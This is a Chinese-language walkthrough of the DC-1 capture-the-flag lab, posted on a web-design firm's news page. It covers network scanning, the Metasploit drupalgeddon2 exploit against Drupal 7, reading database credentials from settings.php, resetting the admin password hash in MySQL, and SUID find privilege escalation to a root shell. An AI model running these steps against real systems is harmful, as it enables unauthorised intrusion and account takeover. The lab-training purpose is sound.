资讯动态

DC-1靶机渗透笔记

发布时间:2026/10/20 2:09:13 来源:尧图企业网站定制
下载DC-1靶机并导入虚拟机攻击机与靶机均设置为NAT模式第一步确定目标1.在终端输入ip -a查看本机网卡的配置信息两机均为NAT模式其所属网段是相同的。本机所属网段为192.168.174.0/242.在终端输入nmap -sn 192.168.174.0/24 -oG -用nmap扫描该网段存货的主机找到靶机的IP地址。确认目标靶机的IP地址为192.168.174.131。第二步端口扫描1.在终端输入namp -sV -sC -O -p- 192.168.174.131对目标进行端口扫描查看开放了哪些端口以及对应的服务与版本。可以看到目标开放了22端口、80端口和111端口以及对应的服务及版本信息。22端口是登录门80端口是网站门先去网站里找账号密码再去登录SSH。第三步CMS识别确认目标网站信息1.在浏览器输入http://192.168.174.131。可以看到目标网站使用的CMS是Drupal。2.在终端输入dirsearch -u http://192.168.56.101 -e * -x 404扫一下网站有哪些目录。2.由于网站无法访问COPYRIGHT.txt于是用whatweb工具对目标进行CMS识别在终端输入whatweb http://192,168,174,131。可以看到网站使用的是Drupal 7.X版本第四步:匹配漏洞1. 用searchsploit查漏洞在终端输入searchsploit drupal查与Drupal相关的漏洞。我们选择红线这条。第五步使用Msfconsole1.在终端输入msfconsole启动。2.在msf6 后输入search drupal搜索drupal的相关攻击模块3.在msf6 后输入use exploit/unix/webapp/drupal_drupalgeddon2选定漏洞模块。4.在msf6 exploit...后输入set RH0STS 192.168.174.131目标地址。5.在msf6 exploit...后输入show options查看RGOSTS是否配置成功。6.在msf6 exploit...后输入run发起攻击。7.在meterpreter 后输入shell进入目标机器的命令行。8.输入whoami查看当前身份。9.ls列出当前目录下的文件和文件夹发现flag1.txt。10.cat flag1.txt查看文件找到flag1。翻译是每个好的 CMS 都需要一个配置文件——你也需要。说明下一个线索在网站配置文件里第六步升级shell1.用pty模拟真实终端环境在shell里输入which python查看有没有python。2.输入python -c import pty; pty.spawn(/bin/bash)用 python 的 pty 模块生成一个交互式 bash。升级成功第七步翻 CMS 配置文件挖出数据库账号密码1.Drupal 7 的配置文件固定位于网站根目录下sites/default/settings.php。我们直接去读flag2提示我们要去搞到访问权限第八步数据库操作1.Drupal用的是MySQLMariaDB数据库输入mysql -u dbuser -p用刚挖到的账号密码直接登录。2.查看信息3.置换drpual的密码exit退出mysql然后进www-data的根目录。用Drupal自带的哈希密码脚本设置新密码123输入php scripts/password-hash.sh 123。回到mysql,用use命令指定要操作的数据库drupaldb。如果之前登录失败被锁定了需要情况登录失败锁定表用DELETE FROM flood;在数据库中更新密码UPDATE users SET pass 粘贴之前记录的哈希值 WHERE uid 1;退出mysql去登录页面输入用户名和新的密码登录。在网页里找到flag3的信息。提示我们该进行本地提权了提示用find提权-exec是find提权的关参数。第九步提权1.输入which find找到find命令的位置然后输入ls -l /usr/bin/find查看find命令的权限。有SUID权限且所有者是root。意味着普通用户执行find命令它会以root身份运行。2.输入find . -exec /bin/sh \;获得root权限。找到最终的flag。

读完文章,也想定制专属网站?

尧图设计师 24 小时内与您沟通定制方案

免费获取报价 →
↑